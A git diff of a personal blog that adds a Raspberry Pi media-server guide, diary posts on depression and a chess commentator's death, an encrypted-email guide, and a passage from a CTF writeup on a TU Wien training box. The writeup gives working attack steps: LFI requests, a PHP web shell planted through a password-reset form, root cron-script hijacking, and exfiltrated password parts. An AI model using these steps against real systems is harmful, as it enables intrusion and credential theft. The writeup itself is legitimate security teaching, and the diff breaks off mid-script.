key mental shift is that Jellyfin can only see what you mount into the container. If you try to browse to `/home/hub/Documents/movies` from inside the Jellyfin UI and it looks like the folder doesn’t exist, it’s not being dramatic—it genuinely can’t see it. Containers are like that. + +Here’s a simple `docker-compose.yml` that works well on a Pi: + +```yaml +services: + jellyfin: + image: jellyfin/jellyfin:latest + container_name: jellyfin + user: "1000:1000" + ports: + - "8096:8096/tcp" + - "7359:7359/udp" + volumes: + - /srv/jellyfin/config:/config + - /srv/jellyfin/cache:/cache + - /srv/media:/media + restart: unless-stopped +``` + +If your user isn’t UID 1000, check it with `id -u` and `id -g`, then update the `user:` line accordingly. + +I started Jellyfin like this: + +```bash +cd /srv/compose/jellyfin +docker compose up -d +``` + +After that, Jellyfin lived at `http://:8096` on my home network, which is the most satisfying “it’s alive” moment of the whole build. + +## Step four: Tailscale, the magic door for friends + +Now comes the part that makes everything feel effortless. Instead of forwarding ports, configuring certificates, and hoping I didn’t accidentally publish my server to the open ocean, I installed Tailscale on the Pi host. + +```bash +curl -fsSL https://tailscale.com/install.sh | sh +sudo tailscale up +tailscale ip -4 +``` + +That last command gives you a `100.x.y.z` address. It’s your Pi’s Tailscale IP, and it’s the address your friends will use to reach Jellyfin. From anywhere, the server becomes: + +```text +http://100.x.y.z:8096 +``` + +Or if you enabled magicDNS: + +```text +http://rpi:8096 +``` + +The moment you can open that URL from your phone on mobile data and see your own server is the moment you start plotting your next homelab project. + +If you want friends to access only this server and not everything else in your tailnet, Tailscale has a device sharing flow that’s perfect for “here’s the Pi, please don’t look in the rest of my digital house.” + +## Step five: create a Jellyfin user for your friend + +Jellyfin accounts are local to your server. Your friend won’t “sign up” on some global Jellyfin site; instead, you create a user for them inside your Jellyfin admin dashboard. The nice part is that you can give them access only to the libraries you want, and you can keep admin permissions to yourself. + +If typing passwords on a TV app makes you feel old instantly, Jellyfin’s Quick Connect feature can make logins much smoother. Your friend gets a short code on their device, you approve it from your logged-in browser, and nobody has to poke letters into a remote control one by one. + +## Step six: the secret to a smooth Pi movie night is Direct Play + +A Raspberry Pi 4 is perfectly happy serving media files. It becomes less happy when it has to convert them on the fly. The goal is to store your library in a way that most clients can play without conversion. + +For “plays on basically everything,” I like MP4 with H.264 video and AAC audio. When I inspected one of my files, I found H.264 video already, but the audio was AC3. AC3 is fine on some devices, but it’s not universal in browsers, and “my friend has no audio” is a movie-night mood killer. + +The fix was to keep the video as-is and convert only the audio to AAC, which is much lighter than re-encoding the whole video. This command copies the H.264 video stream, converts audio to AAC stereo, and produces an MP4 that’s friendlier to phones and browsers: + +```bash +ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv" -map 0:v:0 -map 0:a:0 -c:v copy -c:a aac -b:a 384k -ac 2 -movflags +faststart "500.Days.of.Summer.2009.1080p.mp4" +``` + +Subtitles deserve their own tiny cautionary tale. Some subtitle formats trigger transcoding because the client can’t render them natively and asks the server to burn them into the video. Text-based SRT subtitles are usually the easiest path. If your MKV contains an SRT track, you can extract it and keep it next to your MP4: + +```bash +ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv" -map 0:s:0 "500.Days.of.Summer.2009.1080p.srt" +``` + +Once your friend is watching, you can confirm how Jellyfin is handling playback by checking the active session in the admin dashboard. Seeing “Direct Play” feels like winning. + +## Step seven: SyncPlay, aka “we pressed play together” + +Jellyfin has SyncPlay for “group watch” nights, and it’s wonderfully simple when everyone is using compatible clients. In practice, the web client is an excellent baseline because it’s consistent and easy for friends. When we do movie night, we start a SyncPlay group, join it from each device, and keep a voice call open for commentary and laughter. It’s not complicated; it’s just… cozy. + +## Starting on microSD, graduating to SSD later + +Yes, you can run all of this on microSD to begin with. It works. It also feels like using a napkin as a hard drive if you add heavy-write services later. My plan is to move the system to an SSD when convenient, because SSDs are faster and they handle constant writes far better than microSD cards. + +The reason the `/srv` layout is so helpful is that migration becomes a simple copy-and-mount story. When the SSD arrives, you can copy `/srv` to the SSD, mount the SSD at `/srv`, reboot, and your containers will come back exactly as before. Docker will happily reuse the same volume paths; Jellyfin will happily reuse the same library; and you’ll feel like a wizard who planned ahead. + +## Where this goes next + +Once Jellyfin and Tailscale are stable, it’s easy to imagine the Pi doing more. Pi-hole is light and useful. A smart home hub is fun. Nextcloud is possible, especially with SSD storage and some attention to databases and caching. The practical advice I’m giving future-me is to add services one at a time and keep `/srv` as the center of gravity, because nothing ruins movie night like “I tweaked DNS and now nothing works.” + +For now, though, this little Pi does the job: it hosts a library, it welcomes friends through a private tunnel, and it turns “let’s watch something” into a real shared moment—even when we’re not in the same room. + +Happy streaming. + +The movie night went great, I even posted a BeReal on it. The choice of movie was not random either. I'll write a review for it later on. It was just amazing. + + + +--- + +{{< sigdl >}} diff --git a/content/posts/confusion.md b/content/posts/confusion.md new file mode 100644 index 0000000..ae1648b --- /dev/null +++ b/content/posts/confusion.md @@ -0,0 +1,12 @@ ++++ +title = 'Confusion' +date = 2026-04-02T14:15:55Z +draft = true ++++ + +I don't know the why, the how, the what to do. The day started with many questions and many statements + + +--- + +{{< sigdl >}} diff --git a/content/posts/cupid.md b/content/posts/cupid.md new file mode 100644 index 0000000..54424b9 --- /dev/null +++ b/content/posts/cupid.md @@ -0,0 +1,51 @@ ++++ +title = 'Cupid is so dumb' +date = 2025-11-04T19:35:16Z +draft = false ++++ + +The lyrics are being played in my brain day and night. + +"A hopeless romantic all my life" + +"Surrounded by couples all the time" + +"I guess I should take it as a sign" + +But... "I gave a second chance to Cupid" + +"But now I'm left here feelin' stupid" + +I might've given more than two chances to cupid. + +But I'm still left here felling' stupid. + +"I look for his arrows every day" + +"I guess he got lost or flew away" + +But does it matter anymore? +It shouldn't. It really shouldn't. + +Now all these jokes aside, today I went to Mensa with my group. When eating, I saw a group of people who I've been trying to hang out with, and every time they tell me they let me know to join them, but today I saw them, they hadn't told me. + +Funny how my mind jumps to conclusions quickly. Funny how I feel left alone so quickly. Or maybe it isn't funny, idk. What I do know however is that I'm hurt. There is a bit more to the story than that, but I don't want to open it up. It's way too personal to be opened. + +The thing is, all of this is just badly affecting me. I cannot really focus on my work, and studies. Maybe I should consider doing more home office? Idk. It could be good though. + +I've been trying to jump from one addiction to another, just to calm my senses, just to forget, just to move on. + +I started with ordering unhealthy food from Uber, eating Tuna and Rice, skipping breakfast, watching crap on Youtube, but none of it help. I then went to thm, that has been helping a bit, but not enough. + +I need to be productive at work, I need to take care of my health, I know if I do these, I will feel better about myself and this MDD will go away. Or at least I hope. + +For now all I know is that I'm stuck in MDD, and I cannot get out of it. I'm glad suicidal thoughs are off the table. I'm just glad. They only thing I see is darkness, but I know it will change. The sun will rise. That reminds me, is the wind rising? No? Yes? If so, we need to live. + +I think this is just so painful to me in the sense that I don't really have many friends that I consider as friends, and I'm being left alone from some groups that I don't necesserially wanna be a part of. But oh well, I should not care. + +Credit: Cupid by FIFTY FIFTY + + +--- + +{{< sigdl >}} diff --git a/content/posts/danya.asc b/content/posts/danya.asc new file mode 100644 index 0000000..bbcec72 --- /dev/null +++ b/content/posts/danya.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfAoYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0q9xQP/3O+ZA+A1BJKzO+VhrIVoyE1 +Z1w0Q9sLzW38TI3UC1t8mDeoWuyGTqTfBKP9SfZTarcAdKGAv5Wvn0YIuZP0CR7x +Wg6HleU8PYGCgyxZnW07acRjpt8P1ZajYrZ2UR+ZpAaV+dh7JXFfVGWtExFIN5c1 +qI0HVnPzKewG7UYJ3dguGdP7aOk8pQfCAw1nxwiDVyyMia33jX971hMjjrDWcvdV +hsLZ3j7ZX+Wn9Li5WaPTCTj8KyTF9+URuBhDDyFLkwcjhBpbi97p6EFwm4MNy88D +29byFXVb5SGEraWAtW8Njvw6SSirfhjwB3GozLeSeCCQpWi0W6NL1fU1XA9SjTMC +jPvhHua6QSq1sipdlaNm0t8kahv17m8jajeWgfZPQssYWxp0q3g8eud6ZYpIUsfG ++HGafMBOpTqBgMvT4YVgMPOjV5LYQio3i2nL/zwgFuHeetoJnLe5R0xTp38uEwGw +omHMVP/yRsbgG0ka4xvNcKstERONcJa+A6NuqKHyv/ndB6CoNpGqnZUl8DjhsMGR +btZEfQKVMczQ6r1X6TrPSFeAMaUPjpVPn365hiwgYZfFotoFZ6eaHbFVDLLUxnkw +gpMlIOSJ0w5a+CkRZMbEOYI6/aZ0KgRxL5r2nxes6L2hPhcy1wL9vxR/6jjkeicz +TwDhY5qW8ZzrxZU9uWS1 +=ftPQ +-----END PGP SIGNATURE----- diff --git a/content/posts/danya.md b/content/posts/danya.md new file mode 100644 index 0000000..199dfa9 --- /dev/null +++ b/content/posts/danya.md @@ -0,0 +1,43 @@ ++++ +title = 'Danya' +date = 2025-10-21T08:41:58Z +draft = false +description = "A sad note about someone I knew in the online world." ++++ + +Daniel Naroditsky has passed away. +I've never been a pro chess player, but I do follow some of the fun ones, and occasionally Magnus. +I like Fabi a lot, but my all-time favorite is Hikaru. +Danya was my favorite commentator. +Someone who was so fun to watch explaining complex positions. +I think he was indeed, if not the best, one of the best at it. + + +The occasion is grim. +However, let's remember the immense pressure he was under. +Let's remember how he was accused of cheating by Kramnik many, many times. +By a former world champion. +Someone who has accused many and has ruined their lives for no reason. +The likes of Hikaru! + +The problem is that Hikaru kind of went out of his way and cast doubt on Hans in the past. +I don't know how to relate to any of these now. +I do think this is some stupid, sad consequence that these baseless accusations have. +All players have their exceptionally good days, and many many bad days. +These accusations make no sense. + +I do think Danya went under so much pressure from these allegations, though. +I don't know if he ever cheated or not, but like, what's the point now? +He is gone. +He'll never be back. + +I don't know what the cause was, but I hope he didn't take his own life. +I don't know how the world will ever forgive FIDE or Kramnik for this. +This bullying in plain sight is just brutal. + +Rest in peace, Danya. +I don't think the community ever forgets your amazing commentaries, and what a vibrant and nice character you were. + +--- + +{{< sigdl >}} diff --git a/content/posts/e2ee.md b/content/posts/e2ee.md new file mode 100644 index 0000000..41ff0e0 --- /dev/null +++ b/content/posts/e2ee.md @@ -0,0 +1,142 @@ +--- +title: "Sending End‑to‑End Encrypted Email (E2EE) without losing friends" +date: 2025-10-30 +draft: false +tags: ["privacy", "email", "e2ee", "proton", "tuta", "pgp", "s/mime", "gmail cse"] +categories: ["Privacy"] +summary: "A practical, mildly opinionated guide to sending encrypted email that normal people can actually read." +ShowToc: true +TocOpen: true +--- + +If you’ve ever thought “I should really send this **securely**” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a **usable** path to end‑to‑end encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes don’t glaze over. + +> Honestly, I don't know why one would settle down for a paid option, but if you want to, then be my guest. + +## Why people *don’t* use E2EE email (and why you still should) + +Email wasn’t designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting. + +But the **upsides** are huge: true confidentiality of message content and attachments, stronger **authenticity** (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to **hesitate** before sending, it probably matters enough to encrypt. + +I mean, generally speaking one can use e2ee for anything, and not just email, but doesn't it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you're good to go! + +## The contenders (and how they feel to use) + +### Proton Mail (consumer‑friendly, great cross‑provider story) +Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a **password‑protected message** that opens in a secure web page; you share the password out‑of‑band (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Day‑to‑day, it’s just email—with an extra “lock” option when you need it. + +**Prices (personal):** Free tier exists; paid tiers like **Mail Plus** and **Proton Unlimited** add storage, custom domains, and Proton Bridge for desktop clients. Expect **single‑digit € per month** for personal use; business plans are per‑user. +**How to use:** Sign up → compose → choose password‑protected email for non‑Proton recipients or send normally to Proton addresses. Recipients can **reply securely** in the web portal—even without an account. +**Ups:** Lowest friction to message non‑tech people; slick apps; plays well with PGP if you’re a power user. +**Downs:** Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers. + +Honestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It's easy to use, and fun to show off. + +### Tuta (formerly Tutanota) (privacy maximalist, subject‑line encryption) +Tuta offers automatic E2EE between Tuta users and **password‑protected emails** to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including **subject lines**—and the whole suite is open‑source and auditable. + +**Prices (personal & business):** Free plan plus personal tiers (e.g., **Revolutionary**, **Legend**) and business tiers (**Essential/Advanced/Unlimited**). Personal is typically **low single‑digit €/month**; business is **per‑user, per‑month**. +**How to use:** Create an account → compose → set a password for non‑Tuta recipients; they read and reply in a secure web page. +**Ups:** Max privacy posture; encrypted subjects between Tuta users; clean apps. +**Downs:** Some advanced mail protocols/features are intentionally limited; cross‑ecosystem mail still exposes standard email metadata. + +I was introduced to this one literally for writing this post, I had no idea it existed before. + +### Gmail with **Client‑Side Encryption** (CSE) (for organizations on Google Workspace) +If you live in Google Workspace, CSE brings real end‑to‑end encryption to Gmail—**keys stay with your organization**. After admins set it up, users toggle encryption right in the compose window. It’s the least disruptive path for big teams that already run on Gmail. + +**Prices:** CSE is available on certain Workspace editions (e.g., **Enterprise Plus**, **Education Standard/Plus**, **Frontline Plus**). No extra per‑message fee, but you’ll need a compliant key service and the right subscription tier. +**How to use:** Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it. +**Ups:** Seamless for employees; centralized key control; good audit/compliance story. +**Downs:** Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts. + +I mean... how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won't. Not with the emails that matter to me. + +### Outlook / Apple Mail with **S/MIME** (classic enterprise path) +S/MIME uses **X.509 certificates** instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), it’s smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs. + +**Prices:** The tech is built in; costs come from **certificates**. Orgs often issue them internally; public CA prices vary. +**How to use:** Install/auto‑deploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail. +**Ups:** Great inside enterprises; MDM‑friendly; widely supported. +**Downs:** Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination. + +Ok. Is there that big of a difference between these and Gmail? Idk. I ain't trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so. + +### Thunderbird + OpenPGP (free, powerful, nerd‑approved—now usable) +Thunderbird bakes in **OpenPGP** and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports **protected headers/subject encryption** so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacy‑minded folks, this is the sweet spot of control and usability. + +**Prices:** Free. +**How to use:** Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done. +**Ups:** Full control, open source, works with any provider via IMAP/SMTP; subject protection available. +**Downs:** Initial key exchange still scares people; you may need to hand‑hold contacts through setup the first time. + +This is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don't have iOS app which sucks, idk about Android. + +### Browser add‑ons: Mailvelope & FlowCrypt (bring E2EE to webmail) +If you’re welded to webmail, add‑ons can meet you where you live. **Mailvelope** brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. **FlowCrypt** focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options. + +**Prices:** Mailvelope is free/open‑source. FlowCrypt has a generous free tier with **paid enterprise features** for teams. +**How to use:** Install the extension → create/import keys → compose in a secure editor injected into your webmail. +**Ups:** Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail. +**Downs:** Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells & whistles than a full desktop client. + +Just no. Don't trust add-ons. Please. + +## So… which should *you* use? + +If you need to send a one‑off encrypted message to a **non‑technical person**, Proton or Tuta’s **password‑protected email** is the friendliest: they click a link, enter the password you shared elsewhere, and can **reply securely** even without an account. For a **company already on Google Workspace**, turn on **Gmail CSE** so people don’t juggle keys. If you’re a **power user** or want provider‑agnostic control, go with **Thunderbird OpenPGP**—it’s free, modern, and interoperable. And if you won’t leave the web, try **Mailvelope** or **FlowCrypt** to bolt E2EE onto the inbox you already use. + +Honestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead. + +## A note on what E2EE hides (and what it doesn’t) + +End‑to‑end encryption protects the **body** and **attachments**. Across the wider email network, **metadata like From/To and delivery timestamps** remain visible by design. Subjects may also be visible unless your tools use **protected headers** (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide *everything*, email might not be the right tool—reach for Signal or Matrix instead. + +## Quick price & fit-at-a-glance + +| Option | Best fit | Personal price vibe | Notes | +|---|---|---|---| +| Proton Mail | Everyday private email + easy messages to anyone | Free; personal paid tiers in **single‑digit €/mo**; business per‑user | Password‑protected emails to non‑Proton; PGP support | +| Tuta | Privacy‑max email; encrypted subjects in‑ecosystem | Free; personal low **€/mo**; business per‑user | Password‑protected emails to non‑Tuta; open source | +| Gmail CSE | Orgs on Google Workspace | Included with **Enterprise Plus/Education/Frontline** editions | Admin setup + external‑recipient flow | +| S/MIME (Outlook/Apple Mail) | Enterprises with IT/MDM | Software built‑in; **cert costs vary** | Smooth inside one org; cert exchange needed across orgs | +| Thunderbird OpenPGP | Provider‑agnostic power users | Free | Can encrypt subjects via protected headers | +| Mailvelope / FlowCrypt | Must stay on webmail | Free / **paid enterprise** options | PGP in the browser; good stepping stone | + +## The 60‑second starter packs + +**Proton/Tuta for one‑offs:** create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed. + +**Thunderbird for everything else:** install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss. + +--- + +## **Shower thoughts** + +So, why did I mention any of this? +Aside from the fact that I do believe e2ee email should become defacto, and I don't know why it isn't already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us. + +A while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home. +The thing is, people might not use them because they don't trust them. + +The question I had was different. +Assuming that the service is reliable, why can't we use it and protect ourselves while doing so? + +In hindsight this seems stupid. +But listen to me. +If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly "untrusted" medium, why wouldn't you be able to use it? +The only, and oh well, biggest problem is key exchange. +Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it's a way. +And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key. +Like via a quick short call. +They can also be faked, but let's not go that extreme. +Also if many do it, it's hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone. + +Idk how stupid the thing I'm suggesting is, but I wonder if it can be done or not. I don't know if I'm willing to spend my free time on it or not, but I though I should share the idea to at least know if it's stupid and wrong or not. + + + +--- + +{{< sigdl >}} diff --git a/content/posts/g00_tuw_measurement_ctf.md b/content/posts/g00_tuw_measurement_ctf.md new file mode 100644 index 0000000..449e2cd --- /dev/null +++ b/content/posts/g00_tuw_measurement_ctf.md @@ -0,0 +1,455 @@ +--- +title: "A TU Wien CTF where Sysops Klaus left the keys in the cron job" +date: 2026-06-05T12:00:00Z +draft: false +tags: ["ctf", "tuwien", "lfi", "web", "linux", "nginx", "php", "privesc"] +categories: ["CTF", "Security"] +toc: true +summary: "LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of." +--- + +> **Spoiler alert:** this is a full writeup. If you still want to solve `g#.tuw.measurement.network` yourself, stop here and go poke the box. I'll wait. …No? Ok. Hello friends. + +This post documents how I solved a CTF box that came out of [Tobias Fiebig](https://www.inet.tuwien.ac.at/)'s *Real World Security* presentation at TU Wien — the one with **Sysops Fahrer Klaus**, the guy who "just quickly fixes prod" and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain. + +Each student group gets their own host (`g00`, `g01`, …). The goal is simple on paper: + +1. Collect every `passwd_part` file sitting in user home directories. +2. Stitch them together into the **root password** (the full answer lives in `/root/passwd`). + +Simple. Boring. Except Klaus was clearly in charge of this VM. + +--- + +## 0) The lay of the land + +**Target:** `g00.tuw.measurement.network` + +From the outside you mostly see three faces of the same machine: + +| Host | What it is | +|------|------------| +| `g00.tuw.measurement.network` | Main vhost — `documentation.md`, directory listing, a teasing `passwd_part` that returns **403** | +| `web.g00.tuw.measurement.network` | PHP "meme gallery" with a very trusting `?page=` parameter | +| `pwreset.g00.tuw.measurement.network` | Internal password-reset app — **not reachable directly** from the internet | + +Users on the box (from `/etc/passwd` via LFI): `user1`–`user4`, `monitoring`, `www-data`, `root`. + +SSH from outside? Public key only. Password auth is a lie (for us, anyway). + +--- + +## 1) Recon — documentation.md saves the day + +First stop: the main site. + +```bash +curl -s https://g00.tuw.measurement.network/documentation.md +``` + +That file is basically a treasure map. It mentions two services: + +- **web** → `web.g00.tuw.measurement.network` +- **pwreset** → `pwreset.g00.tuw.measurement.network` + +I also poked the obvious paths (`.git`, `phpinfo`, swap files, `robots.txt`, …). Nothing juicy on the main vhost except the directory index and the forbidden `passwd_part`. + +Subdomains resolve. Good. Let's go web. + +--- + +## 2) LFI — `include($_GET['page'])` classic + +The web vhost is a frameset. Content loads in a frame via `?page=`: + +```bash +curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd' +``` + +And there it is — root, users, the whole `/etc/passwd` parade inside the frame. + +Source via PHP filter works too: + +```bash +curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \ + | sed -n 's/.*frame name="in">//p' | base64 -d +``` + +`index.php` is roughly: + +```php + +``` + +Klaus, my man. We love you. + +**First instinct:** read all the `passwd_part` files immediately. + +```bash +# spoiler: doesn't work +curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part' +# → permission denied +``` + +Same for `user2`–`user4`, `monitoring`, `root/passwd`. The LFI runs as `www-data`. Those files are not world-readable. Fair. + +--- + +## 3) pwreset — localhost-only, but LFI doesn't care about nginx + +Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual: + +```nginx +allow 127.0.0.1; +deny all; +``` + +So you can't hit `https://pwreset.g00...` from your laptop. But PHP on the **web** vhost can still **include** the pwreset `index.php` file — that's a local file include, not an HTTP request. + +pwreset source (paraphrased): + +```php +$user = $_GET['user'] ?? ''; +$pass = $_GET['pass'] ?? ''; +file_put_contents('/var/www/userchange', "$user:$pass\n"); +echo "Password reset queued."; +``` + +It writes `user:pass` lines to `/var/www/userchange`. Something on the system processes that file later (spoiler: `chpasswd`, not shell). + +**Trigger it through LFI:** + +```text +https://web.g00.tuw.measurement.network/ + ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php + &user=user1 + &pass=MyTestPass1! +``` + +I confirmed writes by reading `/var/www/userchange` back through the LFI. The file updates. Something also **clears** it on a schedule — so a cron job is definitely eating it. + +--- + +## 4) RCE — PHP in `userchange`, included like a boss + +At some point I wondered: what if the thing that processes `userchange` doesn't only run `chpasswd`? What if it **includes** the file as PHP? + +So I wrote a tiny shell into the `user` field via pwreset: + +```php + +``` + +Then included `/var/www/userchange` through the LFI: + +```text +?page=/var/www/userchange +``` + +**Output:** `uid=33(www-data) gid=33(www-data) ...` + +Short tags (``) for the win. A longer `` payload also works, but the backtick version is minimal and cute. + +From here on, my mental model was: + +1. **pwreset** → write arbitrary-ish content to `/var/www/userchange` +2. **LFI include `userchange`** → execute PHP as `www-data` + +That's RCE. Not root yet, but we'll get there. Klaus always leaves one more door open. + +--- + +## 5) Rabbit holes (aka "everything I tried before it worked") + +This box is a *presentation* CTF. It wants you to wander. I wandered. Hard. + +### nginx log poisoning + +The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. **Plot twist:** Tobias later confirmed it *is* the intended RCE path. I just griefed myself out of it. See [§11 Bonus](#11-bonus-the-intended-log-poisoning-path) for the real technique and what I screwed up. + +Short version of my failure: I poisoned via **HTTPS** (wrong log), sprayed **broken PHP** into the HTTP log, and never read the hint in `index.php` source until it was too late. + +### `data://`, `php://input`, `expect://` + +```bash +?page=data://text/plain, +?page=php://input # with POST body +?page=expect://id +``` + +Nope. `allow_url_include = Off`. Klaus isn't *that* careless. + +### vim `.swp` files + +`.memes.php.swp` is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried `img_src` shell escapes on `memes.php` / `convert_img.php`. + +Empty memes page. No execution. Nice red herring — very on-theme for the talk. + +### Munin / `apt_all` plugin + +The presentation mentions monitoring (Nagios/Munin vibes). I went hunting: + +- `/etc/munin/plugins/apt_all` — referenced in cron, but the plugin file **doesn't exist** +- Brute-forced tons of plugin names and backup suffixes (`.bak`, `.swp`, `~`, …) +- Waited for cron cycles hoping a custom plugin would curl localhost pwreset + +**Verdict:** the `apt_all` munin path is a distraction (or a removed artifact). The real privesc was elsewhere. + +### pwreset log archaeology + +Reading `/var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log` via LFI is gold for lore: + +- Saw historical resets like `user3` → `foobar23` +- Tried `foobar23` over SSH for every user + +**From outside:** still `Permission denied (publickey)`. Password auth isn't offered externally. TU Wien network / internal access might differ — I didn't have that. + +### Shell script injection into `userchange` + +I tried newline injection to turn `userchange` into a bash script: + +```text +user= +#!/bin/sh +cp /home/user1/passwd_part /var/www/.../p1 +... +``` + +Cron cleared the file. No copies appeared. The processor uses **`chpasswd`**, not `/bin/sh`. Good lesson. Wrong path. + +### Brute-forcing the `userchange` consumer + +I spawned searches across `/etc/cron.d`, puppet manifests, `/usr/local/sbin`, systemd units, … — looking for whatever reads `userchange`. + +Eventually **didn't need it**. Once RCE landed, grepping and `find` from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren't on the winning path.) + +### Direct SSH password guessing + +Tried setting root's password via pwreset (`root:RootPass123!`), waited for cron, attempted SSH. + +From the internet: **publickey only**. The reset machinery may still work internally, but I couldn't log in with passwords from outside. + +--- + +## 6) Privesc — world-writable cron script (peak Klaus) + +With RCE as `www-data`, I looked for writable files: + +```bash +find / -writable -type f 2>/dev/null | head +``` + +Jackpot: + +```text +-rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh +``` + +Original script (innocent): + +```bash +#!/bin/bash +grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config +``` + +It's run by **cron as root** (Puppet-managed). `www-data` can edit it because `user1` owns it and the group is `www-data` with world-writable perms. Chef's kiss. + +I appended: + +```bash +cp /home/user1/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1 +cp /home/user2/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2 +cp /home/user3/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3 +cp /home/user4/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4 +cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm +cp /root/passwd /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass +chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p* +``` + +Then either waited for cron or executed the script manually via RCE: + +```php + +``` + +**Files appeared in the webroot.** Root-readable secrets exfiltrated by root itself. Klaus would be proud. + +--- + +## 7) SSH as `www-data` — because keys in the webroot are a mood + +The main vhost webroot also had `.ssh/id_rsa` for `www-data`. Of course it did. + +```bash +# via RCE: cat the key, save locally, chmod 600 +ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \ + www-data@g00.tuw.measurement.network +``` + +Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files. + +--- + +## 8) The password parts + +| Source | File | Part | +|--------|------|------| +| user1 | `p1` | `DcC6Da0A27384fA` | +| user2 | `p2` | `9Ce05B3cAd57824` | +| user3 | `p3` | `3aD80fa1b7AE986` | +| user4 | `p4` | `CDefabffab1FCCf` | +| www-data | `passwd_part` | `44D885d6DAb8Bb9` | +| root | `rootpass` | `ghadnuthduxeec7` | + +**Missing:** `monitoring/passwd_part` — copying to `pm` failed (no file / permission denied even as root's cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient. + +**Combined root password (95 characters):** + +```text +DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7 +``` + +Order: `user1 + user2 + user3 + user4 + www-data + root_suffix`. + +I double-checked byte lengths with `wc -c` and `od` over SSH. No sneaky newlines. + +Root SSH with that password from **outside** still didn't bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method. + +--- + +## 9) Attack chain (one screen) + +```text +documentation.md + → web vhost LFI (include $_GET['page']) + → include pwreset index.php (localhost bypass) + → write PHP to /var/www/userchange + → LFI include userchange + → RCE as www-data + → append to world-writable cron_update_hostname_file.sh + → cron runs as root → copies passwd parts to webroot + → read parts / SSH as www-data + → profit +``` + +Very "real world" in the worst way. Multiple small mistakes compounding into a full chain. + +--- + +## 10) Replay script + +I left a minimal Python replay in the challenge repo: + +```bash +python3 solve.py +``` + +Core logic: + +```python +def pwreset(user, passwd=""): + # 